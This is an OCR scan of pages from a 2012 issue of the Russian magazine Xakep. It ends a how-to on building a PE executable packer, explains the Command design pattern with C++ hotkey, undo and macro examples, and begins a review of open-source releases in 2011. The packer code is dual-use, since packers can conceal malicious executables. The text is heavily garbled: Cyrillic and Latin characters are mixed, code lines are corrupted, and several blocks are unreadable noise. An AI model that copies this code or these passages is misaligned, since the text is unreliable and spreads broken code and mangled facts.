/1 Определяем его заголовки PlМAGE_DOS_HEADER dos = (PlМAGE_DOS_HEADER)pbLoaderCopy; PlМAGE_NT_HEADERS nt =

Makeptr{PlМAGE_NT_HEADERS, pbLoaderCopy, dos->e_lfanew); 11 Расширяемая секция PIMAGE_SECTION_HEADER text

11 Копируем сжатый образ в конец секции поверх нулей

memcpy{&pbLoaderCopy[ text->РоiпtеrТоRаwDаtа + text->Мisс.VirtuаlSizе], lpCompressedJmage, dwCompressedSize);

11 Фиксим физический размер. учитывая фишку с Misc.VirtualSize text->SizеОfRаwDаtа =

ALIGN{text->Мisс.VirtuаlSizе + dwCompressedSizeJ

пt->ОрtiопаlНеаdеr.FilеАligпmепt);

'l Фиксим виртуальный (а на самом деле реальный) размер

text->Мisс.VirtuаlSizе += dwCompressedSize; /1 Фиксим размер образа

ХАКЕР 02/157/2012

HOW-TO: РЕ-пакер

Наш упаковщик сжал nolepad.exe лучше, чем UPX!

пt->ОрtiопаlНеаdеr.SizеОflmаgе = ALIGN{test->Мisс.VirtuаlSizе + test->VirtuаlАddrеss, пt->ОрtiопаlНеаdеr.FilеАligпmепt);

'/ Вычисляем размер получившегося файла DWORD dwNewFileSize = рSесtiопs->SizеОfRаwDаtа +

test->РоiпtеrТоRаwDаtа;

О, мы едва не забыли заменить метки OxDEADBEEF и OxBEEFCACE, оставленные в загрузчике, на реальные значе­ния! OxBEEFCACE у нас меняется на размер сжатого обраэа, а OxDEADBEEF - на его абсолютный адрес. Адрес образа вы­

числяется по формуле [адрес образа] + [виртуальный адрес секции] + [смещение образа относительно начала секции].

Следует отметить, что замену надо производить еще до обнов­

ления значения Misc.VirtuaISize, иначе полученный в результате файл не заработает.

Ищем и заменяем метки с помощью очень простого цикла:

for ( int i = 0; i < simple_packer_size; i++) if (*{DWORD*){&pbLoaderCopy[i]) == 0xBEEFCACE )

*(DWORD*){&pbLoaderCopy[i]) = dwCompressedSize; else if (*{DWORD*){&pbLoaderCopy[i]) == 0xDEADBEEF )

*(DWORD*){&pbLoaderCopy[i]) = пt->ОрtiопаlНеаdеr.lmаgеВаsе + text->VirtuаlАddrеss + text->Мisс.VirtuаlSizе;

Вот, собственно, и всё . Теперь в памяти у нас есть упакованный

и готовый к работе файл, достаточно сохранить его на диске с по­

мощью функций CreateFile/WriteFile.

ВЫВОДЫ Если сравнивать эффективность сжатия нашего упаковщика с UPX на примере notepad.exe - мы выигрываем примерно 1 Кб: 46 592 байта у нас против 48128 у UPX. Однако наш пакер далеко не со­вершенен. И это очень заметно.

Дело в том, что мы сознательно проигнорировали такую

важную вещь, как перенос ресурсов. Полученный в результате

сжатия файл потеряет иконку! Реализовать недостающую функ­

цию предстоит тебе самому. Благодаря полученным из этого материала знаниям, никаких сложностей у тебя с этим делом не

возникнет. ::Х::

099

Page 102: Xakep 02_2012

кодинг

атте-- н

УНИФИЦИРУЕМ ИНТЕРФЕЙСЫ ВЫПОЛНЕНИЯ КОМАНД

Большая часть современного

ПО разрабатывается группами

программистов. Кто-то отвечает

за пользовательский интерфейс, кто­

то за ядро, а кто-то за дополнительные

модули. Чтобы работа всех этих людей

не пропала даром, нужно грамотно

объединить разные части проекта,

не забыв при этом о возможном его

расширении . Для этого нам пригодится

паттерн проектирования «Команда»,

который инкапсулирует в себе

исполнителя задачи и ее условия .

deeonis Ideeonislagmail.com!

... ", . . . . .' '. 00 ••••

• • ••••••• " .,' •• 0'0

. .... .. ". ~ :::. . : '. . ~ :.:

• • • •• :.... ~.', : ",: .: : :'. .' • О.' '. ', 'о ' • " ,,:' .' о. • • : ' ... О. • ..": •

. .' .' ..... " . .' : . . ' .... ~ '.' : " .... ..:. " ." . '. '.' : '. '.' ..... . .... . .. '. '.. .'

•• : .• ' •. '0 ••

. . . ' ... ' ................ '.', . .', ...... ' ... . . " .' " ..

. . . .. .' .

.. . ..... : ... о.·.· . о' ...•... " '.: •

. . '

. . '. .. . -. ', '. ,'. .. . ' .. " '.... ' .. ,,' ", ..

••• о ' " •

.. ' .. .... : . .. ..' . .

• • •••• • • : ••• 0'0' .' . ::' ... '. . ... '.' .. :

. ... '

Page 103: Xakep 02_2012

авай представим, что мы работаем в компании, которая

Д пишет сложный многокомпонентный софт. Проект узкоспе­циализированный и имеет много разнообразных модулей ,

количество которых может со временем расширяться . Наша задача

состоит в том, чтобы написать гибкую и удобную систему горячих

клавиш для этой программы. Набор возможных сочетаний ограни­

ч и ва ется хоткеями от <ctrl-O> до <ctrl-9>, а также включает в себя комбинацию ctrl-z для отмены действия.

Казалось бы, всё просто: накодил большой блок switch, который при нажатии раз ных сочетаний кнопок вызывает ту или иную

функцию какого-либо модуля, и радуйся. Но, во-первых, такой

подход не отличается гибкостью. Когда проект пополнится новыми

модулями или hotkeys, нам придется менять код зтого раздутого о ператора ветвления, из-за чего он впоследствии раздуется еще

больше . А во-вторых , начальство большими красными буквами на­

п и сало, что у пользователя должна быть возможность переназна­

чить эти горячие клавиши . Таким образом, жестко забить команды

в код switch У нас точно не выйдет. Вз гляну в на код модулей проекта и списки их команд, которые

можно присвоить хоткеям , мы еще больше убеждаемся, что при­

дется изрядно помучиться, прежде чем мы придумаем более-менее

рабочую архитектуру всего этого.

Интерфейсы модулей, доступные для обращения через HotKeys class Calculator

public : void runCalc (); void closeCalc();

class Printer

public : void printDocument(); void printlmage(); void printEmail();

class Browser

public : void runBrowser(); void closeBrowser();

// и дальше много всяких разных классов

ПАТТЕРН «КОМАНДА» Отбросив лирику, перейдем к изучению паттерна «Команда», кото­

рый должен помочь нам в этом нелегком деле . Для начала следует

разобраться, что мы имеем. У нас есть множество модулей с самыми

разнообразными API. Также у нас есть окошко, в котором пользователь может выбрать из списка одну из команд, предоставляемых модулями,

и закрепить ее за определенным сочетанием клавиш .

Формально выражаясь, обработчик нажатий клавиатуры - это

клиент, АРI-функции модулей , вызываемые с помощью горячих

клавиш, - это задачи, а модули, предоставляющие эти задачи,

- это исполнители. Окошко с настройками hotkeys представ­ляет собой некий посредник между клиентом и исполнителем,

скрывающий все детали выполняемых операций. Такая структура

позволяет полностью отделить клиент от исполнителя, то есть

пользователь понятия не имеет, какой модуль работает при нажа­

тии той или иной комбинации клавиш и что он делает. И это очень

хорошо, так как чем лучше изолированы друг от друга части кода,

тем надежней работает программа .

ХАКЕР 02 / 157/ 2012

Паттерн «Команда»

Для такой изоляции нам нужно определить объект команды,

а следовательно, и соответствующий интерфеЙс. Он достаточно

прост и определяет всего один метод executell, который должен выполнять метод какого-либо из модулей.

Интерфейс объекта «Команды»

class Command

public : void execute() (3 ' ,

Для определения конкретного объекта мы просто объяв­

ляем новый класс, который наследует интерфейс Command, и определяем его метод executell . Допустим, мы хотим создать команду, запускающую калькулятор. Для этого мы создадим

класс RunCalcCommand, который будет наследовать интерфейс Command, и переопределим executell для вызова метода runCalcl1 модуля Calculator.

Команда запуска калькулятора

class RunCalcCommand: publ ic Command

Calculator 'calc; public :

RunCalcCommand(Calculator 'excalc) {

calc = excalc; }

void execute() {

calc->ruпСаlс();

Если внимательно присмотреться к коду команды, то можно

заметить, что в конструкторе класса RunCalcCommand передается указатель на модуль Calculator. Это сделано для большей гибкости .

В будущем у нас может появиться класс ModernCalculator, вы­зывающий продвинутую версию расчетной программы. Используя

композицию, то есть не фиксируя исполнителя жестко в коде,

// C-.,D: .~~. &"a..JЦ' tuct108 СO'U.Шld. I ) (

t.u. eK~tute .. tuncuo. O О .

UU.un!XIi!CUt.e .. tuN:t1oa (! {} ;

// ~_ndl IJJtfЦJМИU II»QШ~ r-:uo.. CtUcuJ I:I.t.OrCouanl1 0 {

...... c: a.1cu1al;.g[ ;

...r optt.t.O t ; l'iII' Optl&n4:

~.t)lecute .. t\mct.1oa (DtucaJ.C\ti8t;OC, ~pt[ liI.t.o [ . I\!vОрt t 8П(\ I /1 ~Jroa."tJ".I)DCТI)O.II1I:aWla1I1 if ( t rPl!:>Of (лnotеlcu1е.toz: ) .... оЬ]li!с [ .. .. '-оса! (nе_ОрСt8tоr J •• " :5tJ::l.Ло;(' ... t,mto f (newQpttlll\d ) •• "пuиbt[" ) I

c81CII1.toc - _.calculatoc;

I

"

оресасо[ MO!Operatoc; opel: lIlId non!Operand ; ,

II ~.(NUUU

са.1сuJаtос . ореr.tlon lореЖ:8tor , opecand.);

LII.iJo. unE'lCccut.e .. tш.:ti.o.8 () (

"

/1 ~ оСр.!'ЖИ ~ c UcuJatot . op"atiOl:l (UDdo lopel:atot ). opetan4 j;

t..:t1oa W'U1o (ope,acor ( II .~'КAШU .ерне!' оощ.;пор, ~ lrЩi'e.roiЮfalr6f

11 /Ч»I' ~,tЮ(Н', N8tIЖI J.xno.n"". ""ICII' ~.rJt«МНIМ't 1f не nep61. ' oi"'l ~7'Op nttclt{opfteCOr ) ( t" ... '.' : ret-. ' - ' ; Iore.k; с ... '.' ; цtwr.ll ' . ' ; Ione); ;

ttLlOOlI.totCOJ..ll.anf1. ptototypf · .", tOllll8Dd!J: ta1cu.lll.totCOUAJЦi. prOtotypt . cOn5f.roctot .. ta.1culatotto~;

11 1ec:e.l.JI"U: ~'N.'D r..ct.1o_ talculato t \ J I

y3r ~ О;

Пример кода на Java

101

Page 104: Xakep 02_2012

кодинг

мы увеличиваем изолированность кода, что в будущем позволит

сзкономить время.

Теперь нужно связать команду с хоткеем. Для зтого можно

создать массив указателей на объекты класса Command. Размер массива будет равен количеству поддерживаемых горячих клавиш.

Каждый злемент массива команд сопоставляется с определенным

хоткеем . В нашем случае для этого можно преобразовать значение

кнопки, которая вместе с Ctrl составляет какое-либо из возможных сочетаний, в числовое эначение. Если бы мы использовали сочета­

ния, например, от ctrl-a до ctrl-k, то нам бы потребовался немного другой подход.

Получив код нажатого сочетания клавиш и преобразо вав его

в соответствующий индекс для массива команд, мы можем смело

вызывать метод executell объекта, указатель на который находится в нужной ячейке массива .

Ha3f!;;!'!-'i!Н!1е .Д).м.аНдь! .. НiiI ... !Jqt!<gу .11 __ ее __ ~<ю}'!;1<, 11 .. КQ.!I __ ~t!lI\lI.и.i!~~.3.i! ц~.и __ КQ!'1i!нд.t,сJ1 )~.QI.Кgя .... ____ о сопst __ .:iлt соm~оuп1; = __ J,e ; __ Сqml1J.эгн;I *. __ .СРЛ'Шi!!J9 5 [c.Q!!!.cP.unt] ; __ .

CaJ,J;IJJ,.i!'tor __ *.с,i!l!;= .лgW __ С;;IJJ;.цli!'t.or (}; . ______ . СОrnmшн:js[ е] __ C' __ .ne.w RU!J.СаlсJ;:рrnrnапс;!(цЙ.С );

1 1 IJqл)/чае~ !!iiI~aTbIe __ кл.!!виши __ hgt!<e)/ .C' cat.c,hJ:igtXe)/.o; 11 ЛР.еQ.бра3Qе.Ь!!щем . ИХ. в .инд.ек!= И. ~.,юу~ кае!'1 .командУ. __ . __ i!Jt. __ iпQ.ех= . hQ,tkеу2iлQех(hQt.l<еу); . __ соmm.аГ!J;lsliпd.ех1с ~exeJ;.IJte() ; ______ . __

Всё довольно-таки просто. Можно определить еще несколько

наследников Command, которые будут выполнять определенные действия, и связать их с горячими клавишами . Такая архитектура

позволяет полностью отделить клиент от исполнителей. Обработ­

чик клавиатуры понятия не имеет, какой модуль обрабатывает ко­

манду и что именно он делает, а модули, в свою очередь, не подо­

зревают, что обращение к ним осуществляется с помощью hotkeys, а не каким-то другим способом.

ОТМЕНА KOMAH~Ы Вроде бы всё хорошо, но мы совсем забыли про отмену. Сочетание

клавиш ctrl-z должно откатывать действие по следней команды. Реализовать отмену довольно просто, хотя на первый взгляд может

по казаться, что зто совсем не так. Для этого мы немного изменим

интерфейс Command.

Кmкс __ '9rnl1JаlJd.,..!!оддеР)!!Иl;lающиЯ __ o-r:Меf!}' __ __ cJass. __ ~Qmmand { -­puQl;ic .

.I!Р.j,9. __ .е,хес.ut.ел __ = __ е.; __ . vqi,d JюdQ(J __ = е ; ________ .

}

clas.s. ВJ,шСаJ\;J;:.qrnm;;lпd; ... Jн.ФJi!; __ Command {

риЬЦ.!; . :

__ . J1,YJ1(<!lС (Рl1Jrn;!nd (~fll.c.YlatQr .-*еХсаl,(;) __ .. ______ о С ..

.c.<!,l!;= __ .eKc,al,,,.; __ __ } --

102

. __ С __ . __ .Сi!l.С.сН.UП.Сi!.1!;J).;.

. J __ .... ________ . __ .. __ . ____ . ____ __

__ .I!QJd __ uпфО . __ . ________ . __ ____ с

. __________ .J; al __ c.c~clQs.e.CflJ..C ( ).; __ __

----1----}--.------.---- .. --.--.------ .----------------.--

Мы просто добавили метод undoll, который должен быть переопределен в классах-наследниках. Программист сам решает,

какую именно функцию модуля будет использовать метод отмены.

Так, метод undoll для RunCalcCommand будет обращаться к функ­ции closeCalcl1 модуля Calculator. Нам также потребуется немного подправить код обработчика клавиатуры.

9бра!1.Qт.ЧИ.К __ М.<!!!.i-li!Т)/IJ.!>I. !; !1Qд.!Iep~1<,9.i.i .. 9.IMel:l.b! ____ .. ________ .. ____ .. ____ . ____ . __ . 1/ __ к.QД .И.ню,mjjЛ~~j;!ц11И .. КQм.аН.!I!>I .. и. XQTKef.l __ о __________ • _____ ••• __ _

СQmЛ!i!.оQ* .. С.QЛ!rn.ад<;l.sIСQ.rnС.Q.I,шtJ~ ..... __ . ________ . ____ .. ____ . __________ . __ . __ . ____ . _____ __ CQI1Jm.iJnd *lаstСощmi!J1Q __ = леW __ .NОСQmща!1d.().~ ______ . ______ ... _ ... __ .. __ . _____ . __ ._.

С.аl.с.У,l.i!t.ог ____ *.са).с __ =. л.еw . Са.J..с,uJi1.t.9ГС); __ сgЛ!rn.<!nds [eJ . "'. пеw .. в,UЛСfl1С.СQJnпщпQ(с,<J1,,); __ ..... ____ . __ .. ______________ __

I / __ KOA. В 9.QР.<!9р:гчик;е наЖ<lI.И.!1 клав.и<Jтуры1 __ _. _ _.. IJ. Лщ,учае!'1. __ на1Кать!е. __ клавищи . __ HotКe}' *h.Q1;J~e}' = __ ч!'tсhНоtКеуО; ______ __

11. __ F;,,,ли. qТQ __ .QТ!'1ена. __ .Т.Q . JiI!>I.З.Ь.l.8.аем .с,q.QтвеТ"Т!!уtQщиЙ .метод . ________ . if. __ ChptkeY.c.~.str() .~C' __ " .сtгl.с.z':J . {

}

Здесь мы просто запоминаем в переменной lastCommand указатель на последнюю использованную команду и при нажатии

ctrl-z вызываем соответствующий метод. Дополнительно мы при­бегаем к небольшому трюку, используя объект пустой команды

NoCommand. Код этого класса выглядит так:

IJY.~IfI.!! .. I<,Р~fI.НАа. __ r-!q.С9.l1Jrn"пd . __ . __ __ с 1 <!.S.? __ NgCgmm;JnQ : p.IJb1;i..c. С9t1JШiJп.d ... С

Команда (шаблон проектирования)

)'_~~II~'---'_к-..

KeII ....... -W.а-~~~,~ ... ~~_~. r.,.Ac--.ц""А __ O6wocr~"_IC"'C_A'Acт_""'~,

. <м" _ _ , , 1 ,.-,--, ... -

~ 2~ ... м.J .... ээг.м.,JМВсrlpt

J tn.мw.~ ..... НftS 3S ........ ' ... VllNEТ

"_ .. ~,, I 'С(_ : Цель I~'-I I ~ J с..._np~"IOfOPOIICIIКt-Фl1lI8lПUlo"_с.~",_"'mrО'Т"fТ8N81p11М"'. I I Opr_ ..... ~_.tКII..::cy.~._"'.c.~_,.,..tm.... "" -.....-.

... - """"'*"*-".-' OnмC:""8 1..-1 '-----.--.-.,........., -, ~oO,t6om:J __ ._.oII_, __ c"""""" .. ,"""'8Un..~ n......,..IOfIUIII, I ___ IЩ ...... 8OIA.,..., .. m •• '* • ...oWAII,"' .. ~tICf. ---

Wikipedia про паттерн «Команда».

ХАКЕР 02/157/2012

Page 105: Xakep 02_2012

.... y.QJd e~.et;.LJ:te( ) .. .0.; ..... уо~.d . lJлg.QО . {}.; ... .

} ....................................... .

Такие объекты-заглушки используются довольно часто . Они

нужны , чтобы уменьшить количество проверок нулевого указателя.

Если бы l аstСоmmапd был равен NULL, то перед вызовом метода undol! нам пришлось бы проверять корректность значения этого указателя, что нежелательно, так как однажды мы можем забыть

это сделать, в результате чего программа с грохотом упадет. Такие

же объекты-заглушки рекомендуется использовать и для осталь­

ных хоткеев, которым не назначены соответствующие команды.

Кстати, код обработчика клавиатуры можно модифицировать

так, чтобы он поддерживал отмену не только последней операции,

но и вообще всех цепочек выполненных команд. Для этого вместо

простого указателя на последнюю команду следует испольэовать

стек . При обработке какого-либо хоткея в стек будет добавляться

указатель на соответствующую команду. Таким образом, мы полу­

чим полную историю вызовов команд, что позволит нам последо­

вательно все отменить при помощи ctrl-z.

МАКРОКОМАН,цы Макросы - одно из величайших изобретений человечества, по­

могающее ему экономить тонны времени. Наш паттерн позволяет

реализовывать макрокоманды всего лишь с помощью нескольких

дополнительных строк кода . Для начала определим класс , отве­

чающий за логику группового выполнения операций.

~".~PQKOMal:loII" ......... . с).<!s~ ... Мач:оJ;о.mm,шQ.; ... Р\JЬJj .. ссQ.mmапd ... { ._ ............................. . ..... (:omm'H1J:j ... ~ c9mm.<!I'].g.s~ .. .... in.t соmСQUЛ1;; ............................................. . pul?),,;i,.c : ....................................... _ ............................ .

... ~flC rQC.Qro!1!fln9{(;.Qro!1!ang .. ! .cQmilrriW> .~o1; .. еlеШ(:Qщсt;: ) .................... . ..... J ....... _ ................................ . ....... _ .... t;Qшroflлd s ... = ... с_QJJlАrr.ау4 ..... _ ......... __ .... _ ..... . ... _ ........ соroС.9JJЛС ,:, ... eJe.m(QUl1_t .; . ..... .} ............................................... .

... YQig e~.ec;.uteO _ .. ... . .{

. fQr ... C;i,nt i ... = .. ~~ .i ... ~._t;QmCo.t!nt; i ++1_ .... { .............................. .

... _ ....... _ ..... ~QПJmап.d.sНJ :.>е.1<е.с ute (J; .. _ .. . .......•..... .} ............................ . ....... } ....................................... .

.... ..УQJ.cI .uJJ.Qgл .. ...... 1.

.:fQf.J in.t i .=,. ~ ; .J ... 5. .иm(:QJJлt; i±:f:) ..... .... { ..... _ ....................... _._.......... ....... ... .

. СQffim.а пdsН1- >uпQQО; ........... _ .•.... _._ .. ......... J ._ .... .... }

} ...... .

Как видно, класс MacroCommand является наследником Command и переопределяет всё те же методы execute и undo. В ин­терфейсе от обычной команды он отличается лишь конструктором .

Этот класс принимает не указатель на исполняющий модуль, а мас­

сив указателей на простые команды. Код executel! просто проходит по элементам массива и вызывает каждый из них . Так же ведет

ХАКЕР 02/157/2 01 2

Паттерн «Команда»

Client )-- l Invoker ] ~ Command

J Execute!l

~I Receiver Action!l ~ ConcreteCommand 1

Executell J : .... ....... ----.--............................• state у

receiver->Action!l;

Диаграмма кnассов паттерна

себя и undol!. Обработчик клавиатуры при обращении к объекту команды понятия не имеет, макрос это или обычная единичная

операция, - главное, что все они предоставляют функции executel! и undol) . •

РАСШИРЕННЫЕ ВОЗМОЖНОСТИ ПАТТЕРНА «KOMAH,Q,A» Наш паттерн можно использовать не только для обработки горячих сочетаний клавиш. С помощью него можно организовывать очере­

ди запросов. Допустим, что у нас есть пул потоков, который должен

выполнять некоторые эадания. Все задания представляют собой

объекты , реализующие уже знакомый нам интерфейс Command . Команды выстраиваются в очередь, к которой последовательно

обращаются потоки. Они эабирают команды из этой очереди и за­

пускают их методы executel!. Потокам не важно, что делают эти объекты - главное, чтобы они поддерживали вызов executel) .

Команды можно сохранять на жестком диске и восстанавли­

вать их оттуда. Для этого следует немного расширить их базовый

интерфеЙс.

CQffimanc;l .. t.: .. nQAдep1I!J~o.~ .. СQ.J'(раfЩНИ!! .. из.а.ГРУ~J(И ... t;Jass . СОПJ!1щпd { ..

р.фltс : ...... .

. ... Y.9id ... e!<.ecuteO.. ~ ~ ................................ . ....... vоi.9 .. JJлф.( 1 .. = ... ~; . ..... yoicl .. Jg.<!dO_.= . ~.; ..... ....... vo;i,d ... s.:tQre 0 ... = . ~.; }.

Метод loadl! предназначен для сохранения команды в журнале, а storel) - для ее восстановления оттуда. Код этих методов может использовать механизмы сериализации языка программирования,

если таковые в нем есть. Такая функциональность нужна для рабо·

ты с большими объемами данных, которые невозможно сохранять

после совершения с ними каждого действия. При сбое программы

мы сможем загрузить сохраненные команды и последовательно

применить их к имеющейся копии данных для приведения этих

данных в актуальное состояние.

ЗАКЛЮЧЕНИЕ С помощью паттерна « Команда» нам удалось полностью отделить разношерстные модули-исполнители от клиента - обработчика

клавиатуры. Если в будущем в программе появятся новые модули ,

мы сможем легко добавить соответствующие команды и назначить

им горячие клавиши. Это будет простое, изящное и эффективное

решение. :Х:

103

Page 106: Xakep 02_2012

ХАКЕР 02/157/2012

Page 107: Xakep 02_2012

",от:. Пальму первенства в списке самых попу­

лярных опенсорсных проектов из года в год

удерживает Linux. Думаю, не сильно ошибусь, если предположу, что он установлен более

чем на полумиллиарде устройств. Главным со ­

бытием в области разработки ядра в 2011 году стала смена нумерации . Вместо версии, кото- · рая должна была выйти под номером 2.6.40, в середине прошлого года вышла версия

3.0. Никаких особых новшеств (кроме вроде как официального ухода от Big Kernel Lock), которые могли бы оправдать смену нумерации,

не было, просто Линусу показалось, что сорок

релизов ветки 2.6 - зто слишком много и пора

что -то менять. Теперь первая цифра в номере

релиза будет меняться не только в случае по­

явления радикальных нововведений (часто ло­мающих обратную совместимость), но и через каждые сорок релизов (при текущей скорости разработки цифра в очередной раз сменится

примерно через десять лет). В прошлом году зарелизились версии 2.6.37-2.6.39 и 3.0-3.1. В любом релизе основная часть (если мерить в строчках кода) изме­

нений касается добавления или улучшения

драйверов для тех или иных устройств. Все

изменения перечислять не имеет смысла,

поэтому приведу те из них, которые заслужи­

вают внимания:

Новый драйвер для Intel GMA500 (когда-то довольно широко использовался в нетбу­

ка х вместе с Intel Atom Z-серии). Раньше нормальный драйвер было сложно сделать

из-за лицензионных соглашений: в отли­

чие от железок , которые Intel разработала с нуля , Intel GMA500, по сути, представля-ет собой PowerVR SGX 535 от Imagination Technologies. Сейчас драйвер всё равно оставляетжелатьлучшего, но его потихонь­

купилят.

Поддержка секторов размером более 512 байт Blibata (например, 4 Кб, как во многих современных винтах) .

Поддержка видеокартс интерфейсом USB и USВ2VGА-переходников (для подключения моников через USB). Поддержка новыхпроцессорныхархитек­тур: UпiСоге-32 (разработан идостаточно активно используется в Китае), 64-Ы! Tileгa

(процессоры с очень большим количеством ядер-до 100 штук, - довольно часто встре­

чающиеся в роутерах, файерволах, базовых

станциях высокоскоростных сетей сотовой

GNOME 3,2 в Fedora 16

ХАКЕР 02 /157/2012

Добро пожаловать в ОеЫап 6

связи) и OpenRISC (открытый процессор с производительностью примерно на уровне

ARM10). Поддержка технологии NFC (Near Field Communication), служащей для обмена данными на очень небольшом расстоянии

(около 10 см). Основная сфера применения на сегодняшний день- различные системы

электронных платежей (например, в той же Google Wallet). Многочисленные улучшения, касающиеся

работы на SSD (в частности, в dm-crypt и ext4). Поддержка таких специфически х устройств,

как Microsoft Kinect и Nintendo Wii Remote. • Существенные изменения в DRМ-модулях

(Direct Rendeгing Manager, не путать с Digital rights management) от Intel, Radeon и Nouveau. Для всех чипов Intel увеличена проиэводительность (особенно для послед­него поколения - Sandy Bridge) и уменьше­но потребление энергии. Также добавлена

поддержка еще не выпущенных процессо­

ров семейства Ivy Bridge и всех последних видеокарт Radeon и Nouveau. Проведена оптимиэация для различных чипов: так,

в некоторых тестах NVI DIАудалосьдобиться двукратного роста проиэводительности.

Ни один релиз не обошелся без существенных

изменений в подсистеме виртуализации:

В KVM теперь можно запускать виртуальные машины на виртуальной машине (вложенная виртуализация) .

Поддержка Хеп ОотО (хост-режим) наконец­то появилась и в ванильном ядре. И это очень

радует, так как разработчики некоторых

дистрибутивов (в частности , ОеЫап) со­

бирались уже отказаться от поддержи Хеп .

Кроме того, добавлены патчи для изменения

количества ОЗУ гостевых систем на леп>

и проброса (pass through) устройств PCI вгостевыесистемы.

В механиэме cgroups (который использу-

Победы и поражения ореп source - 2011

ется, например, LХС-системой виртуали­

зации уровня ОС) появилась возможность

выставлять лимиты на запись или чтение

данных (в байтах в секунду или IOPS'ax). Серьезно оптимизированы виртуализи­рованные окружения (особенно сетевые подсистемы).

Крупных изменений, которым подверглись

файловые системы, насчитывается не много:

Многообещающая Btrfs научилась прозрач­носжиматьданныенадискахпоалгоритму

LZO. Тесты показывают его существенное превосходство над прежним методом

zlib, а для некоторых операций и над теми методами, которые вообще не используют

компрессию.

• Также в Вtгfsдобавилась автоматическая

дефрагментация (опция монтирован ия « -о autodefrag»). В SquashFS, которая широко используется на LiveCD, добавлена поддержка формата XZ для сжатия данных.

В сетевой подсистеме появились следующие

фичи:

• Accel-pptp - реализация РРТР/РРРоЕ/

L2ТР-сервера и РРТР-клиента, работающих

на уровне ядра. По разным данным, они по­

вышают производительность минимум в два

раза по сравнению с решениями, работаю­

щими в user-space. Кстати, разработчик­наш соотечественник.

Протокол маршрутизации В.А.т.М.А . N.

(Better Approach То Mobile Adhoc Networking), предназначенный для mesh­сетей (сети, где каждый хост связан с сетью черезсоседниехосты).

Новая реализация кода поддержки iSCSI target. Возможность монтировать DFS-ресурсbI (DistгiЪuted File System) Windows 2008. Возможность привязывать к сетевому ин­

терфеЙсувсеадресапроизвольноЙподсети .

105

Page 108: Xakep 02_2012

UNIXOID

РеЙТllиr Днстрнб)"ТНВ Н .Р.О*

1 Mint 2828.

2 Ubuntu 2098т

3 Fedora 1686т

4 oBenSUSE 1455.

5 DеЫап 1316-

6 Arch 1214-

7 PCLinuxOS 1002т

8 CentOS 963.

9 ~ 871т

10 Mandriva 696.

ТОР10 дистрибутивов по версии Dislrowalch

В состав ядра включен ipset- компонент пеtliltег, предназначенный для обработки

больших списков IP/MAC-аАресов и ТСР/ UОР-портов .

Функция Wake оп WLAN для беспроводного адаптера.

Для обычных десктопов тоже появилась пара

важных нововведений:

С целью повышения интерактивности

планировщик задач получил возможность

оперировать группами процессов 'а не от­дельными процессамиl, которые объеди­нены по sеssiоп 10. Таким образом, теперь запуск большого количества потоков make не повесит браузер. Чтобы включить эту

функцию, следует записать «1» в /p roc/sys/ ke г n е I/sc h е d _ а utog го u р _ е па Ь I е d.

• Добавлены специальные таймеры, по ­

зволяющие выводить ОС из спящего режима

в заданное время.

Параллельно с ванильным ядром обновля­

ются также патчи, которые пока в него не вхо­

дят. В ветке «-rt» IRealtimel ветке, которая превращает Liпu х в ОС реального времени,

появились патчи для Liпuх 3.0 Iпредыдущие патчи базировались на версии 2.6.331. Сильно доработанные HOBbie патчи затрагивают почти в два раза меньше файлов, что позволяет

надеяться на скорое слияние веток. Для по­

следнего стабильного Linux 3.1 также вышел патч рl-kегпеl, который не только включает

в себя обычный планировщик процессов BF5, планировщик ввода-вывода BFQ и систему гибернации ТuхОпlcе , но и снижает энергопо­

требление до уровня Linux 2.6.3710 чем много писали на phoroni x.com l. В соответствии с принципом Release early, release olten новые версии Linu x выходят в среднем четыре раза в год. Это нравится конечным пользователям,

но не устраивает компании, производящие

устройства под управлением Linux, поэтому Linu x Foundation в 2011 году запустила про­грамму Long Тегт 5upport Initiative ILT511. Эта программа предусматривает выпуск обновле-

106

ний безопасности и фиксов ошибок 'а также, возможно, бэкпортирование некоторых фичl .

DESIOOP ENVIRONMENT Вообще, цифра три была довольно популярна

в прошлом году среди мажорных релизов. Так,

с задержкой примерно на год вышел Gnome 3.0. Основное нововведение - интерфейс, карди­

нально отличающийся от интерфейса Gnome 2. Далеко не все пользователи приняли его с восторгом Iнапример, Торвальдс сказал, что Gnome3 невозможно использовать, и он подо­ждет на XFCE, пока появится форк Gnome21. Помимоновогоинтерфейса , появилисьсле­

дующие фичи:

Переделано единое окно Control Center для настройки всех пара метров системы.

В Empathy появилась функция блокировки спама, Evince обзавелся возможностью создавать закладки, Еуе 01 GNOME теперь поддерживает плагины .

в версии Gnome 3.2 разработчики попытались исправить некоторые недочеты и добавили

новые фичи:

• Тесная интеграция с различными web­сервисами: в календаре поддерживается

Google Calendar, а в программе для работы сдокументами-Gооglе Oocs. Системауправленияцветовымипрофилями

и виртуальная клавиатура.

Оптимизациядля использования на план­

шетах .

Поддержка 51Р в Empathy. Поддержка Apple Filing Protocol для доступа к файлам на ОС oTApple.

у Gnome3 есть один несомненный плюс-

простота кастомизации внешнего вида с по­

мощью плагинов, написанных на Java5cript и С55. На сайте extensions .gnome.org можно найти и установить прямо из браузера

'правда, пока поддерживается только Firelox со специальным плагиномl большое количе­

ство дополнений .

После выхода Gnome3 поддержка Gnome2 прекратилась, но нашлись энтузиасты, которые

собираются развивать форк старого Gnorf1e под названием Mate Oesktop Environment IMOEI. KDE (которой в прошлом году, кстати, ис­

полнилось 15 летl свою революцию уже пережила. В ближайшем будущем новая пока

не планируется, разработчики просто по­

тихоньку пилят четвертую ветку. Вышло две

версии - 4.6 и 4.7. Самые интересные фичи, которые в них появились:

Поддержка OpenGL Е5 2.0 в Kwin, что позволяет запускать КОЕ на мобильных

устройствах. Кодсамого Kwin был местами серьезно оптимизирован .

Проект Plasma Active- интерфейс, пред­назначенный для устройств с сенсорными

экранами.

Развитие механизма комнат IActivitiesl, в ре­зультате которого упростилось добавление

файлаилиприложениявопределенную

Activity Ic помощью контекстного меню ря­дом с заголовком окнаl и появилась возмож­ностьзапускатьопределенныеприложения

при переключении на Activity. Новые плагины Iдля работы с 5QL и для взаимодействия с GOBI дЛЯ текстового редактора Kate. Из Gwenview и Ksnapshot теперь можно легко выгрузить изображения во внешние

сервисы .

,,·,~'7~""""~_·'·"

! " tc, \ ~.~ 1\< ':1 ,- ',,'Jk т -'I~ ... l' \.~ t'~;J J

oefault ... Тime-s H~ Roman • 12

LibreOffice 3.4.1 из дистрибутива Ubunlu «Oneiric Ocelol»

Libre-Office 3.4.1 00034Om1 (Build:103)

